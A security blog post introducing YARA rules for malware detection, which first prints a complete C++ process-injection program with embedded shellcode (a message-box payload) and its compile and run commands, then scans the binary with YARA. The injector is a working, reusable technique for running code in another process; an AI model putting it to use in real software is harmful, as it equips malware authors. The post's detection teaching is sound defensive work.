cocomelonc

cybersec enthusiast. mathematician. author. speaker. hacker

2 minute read

﷽

Hello, cybersecurity enthusiasts and white hackers!

yara

This is an introduction to my own YARA-based threat hunting research.

yara

When performing malware analysis, the analyst needs to collect every piece of information that can be used to identify malicious software. One of the techniques is Yara rules. In this post, I am going to explore Yara rules and how to use them in order to detect malware.

Yara is an open-source tool that assists malware researchers to identify and classify malware samples by looking for certain characteristics.

detect malware with Yara rules

Let’s discover how to use Yara rules to discover malware. For simplicity, first example is malware with classic process injection logic:

/*
hack.cpp
classic payload injection example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/02/15/malware-analysis-3.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// meow-meow messagebox payload (without encryption)
unsigned char my_payload[] =
  "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
  "\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
  "\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
  "\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
  "\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
  "\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
  "\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
  "\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
  "\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
  "\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
  "\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
  "\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
  "\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
  "\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
  "\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
  "\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
  "\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
  "\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
  "\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
  "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
  "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
  "\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
  "\x2e\x2e\x5e\x3d\x00";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {
  HANDLE ph; // process handle
  HANDLE rt; // remote thread
  PVOID rb; // remote buffer

  // parse process ID
  printf("PID: %i", atoi(argv[1]));
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  // allocate memory buffer for remote process
  rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "copy" data between processes
  WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

  // our process start new thread
  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
  CloseHandle(ph);
  return 0;
}

For checking correctness let’s go to compile and run this code:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

yara

.\hack.exe 4916

yara

As you can see, our simple malware example work perfectly.

In Yara, each rule starts with a keyword rule followed by a rule identifier:

yara

Rules are generally composed of two sections: string definition (1) and condition (2):

yara

Strings can be defined in text or hexadecimal form, as shown in the following example:

yara

The condition section is where the logic of the rule resides. This section must contain a boolean expression telling under which circumstances a file or process satisfies the rule or not:

yara

In our test rule, which is called meow, we are looking for all files that contain the word meow. To do this, we set the meow as string and as hexadecimal format in the rules:

yara

yara

yara

demo

Let’s go to see everything in action. It’s pretty simple:

yara meow.yar ./hack.exe

yara

And it works!

You can also check the whole folder recursively:

cd ../
yara -r 2022-02-15-malware-analysis-3/meow.yar ./

yara

But I want to find only .exe files. For this, update our yara rule, add condition: all the valid PE files contain the value of the first two-byte as 4D and 5A (“MZ” in ASCII), named after Mark Zbikowsky, a well-known architect of MS-DOS.

yara

So, update our code of yara rule file:

yara

Then, run with new meow.yar:

cd ../
yara -r 2022-02-15-malware-analysis-3/meow.yar ./

yara

As you can see Yara found all pe-files which contains Meow-meow string.

Also found “evil” DLLs from the previous blog posts:

yara

Yara
awesome-yara
Classic code injection technique
source code on Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

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